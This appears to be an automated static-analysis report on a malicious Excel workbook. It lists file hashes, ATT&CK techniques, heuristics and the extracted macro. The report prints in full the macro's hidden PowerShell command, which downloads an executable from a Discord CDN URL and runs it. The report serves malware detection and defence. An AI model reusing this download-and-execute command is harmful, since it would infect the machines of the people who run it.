Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 d4968072ed107486…

MALICIOUS

Office (OLE) / .XLS

79.5 KB Created: 2021-08-22 19:58:11 Authoring application: Microsoft Excel
MD5: d852bc138992fbe4c3bf95956def0b69 SHA-1: e35085f4d47e8a790e11f454f9edab3a5e274876 SHA-256: d4968072ed107486d2b505f5f0cb5ec4f5d166770ada4dc22c9f91600b739e59
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1105 Ingress Tool Transfer

The Workbook_Open macro executes a PowerShell command to download a second-stage executable from a Discord CDN URL. The script reconstructs the command as: powershell -w h Start-BitsTransfer -Source https://cdn.discordapp.com/attachments/873262423900037212/879667711796445194/dock.exe -Destination C:\Users\Public\Documents\tendnew.exe;C:\Users\Public\Documents\tendnew.exe. This payload is then executed from a batch file located at C:\Users\Public\Documents\actionbuild.bat. The downloaded file is saved as C:\Users\Public\Documents\tendnew.exe.

Heuristics 5

  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
b2a22345db1f3f06b0247aaaca093765e3eace7c211facdd61baf318db5a66f3		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 1194 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.

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